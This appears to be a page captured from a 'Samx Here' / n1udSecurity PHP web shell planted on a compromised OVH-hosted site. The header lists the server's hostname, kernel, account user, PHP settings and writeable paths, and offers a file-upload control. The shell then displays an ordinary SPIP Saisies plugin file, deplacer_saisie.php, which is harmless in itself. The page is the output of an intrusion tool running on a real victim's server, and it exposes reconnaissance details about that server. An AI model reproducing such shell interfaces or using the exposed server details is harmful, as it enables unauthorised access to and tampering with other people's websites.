Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/jobs/plugins/auto/saisies/action/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/jobs/plugins/auto/saisies/action/deplacer_saisie.php
<?php

/**
 * Gestion de l'action déplacer saisie.
 *
 * @package SPIP\Saisies\Action
 */

if (!defined('_ECRIRE_INC_VERSION')) {
	return;
}

/**
 * Action de déplacement de saisies dans le constructeur de formulaires
 *
 * @return void
 **/
function action_deplacer_saisie_dist() {
	include_spip('inc/session');

	$session 	 = _request('session');
	$identifiant = _request('saisie');
	$ou          = _request('ou');

	// On récupère le formulaire à son état actuel
	$formulaire_actuel = session_get($session);

	if (!$formulaire_actuel) {
		return '';
	}

	include_spip('inc/saisies');

	$saisies_actuelles = saisies_lister_par_identifiant($formulaire_actuel);
	if (!isset($saisies_actuelles[$identifiant])) {
		return '';
	}

	// tester @id et [@id] (fieldset)
	if ($ou && !isset($saisies_actuelles[$ou]) && !isset($saisies_actuelles[ substr($ou, 1, -1) ])) {
		return '';
	}

	// on deplace ou c'est demande...
	$formulaire_actuel = saisies_deplacer($formulaire_actuel, $identifiant, $ou);

	// On sauve tout ca
	$formulaire_actuel = session_set($session, $formulaire_actuel);
}

SAMX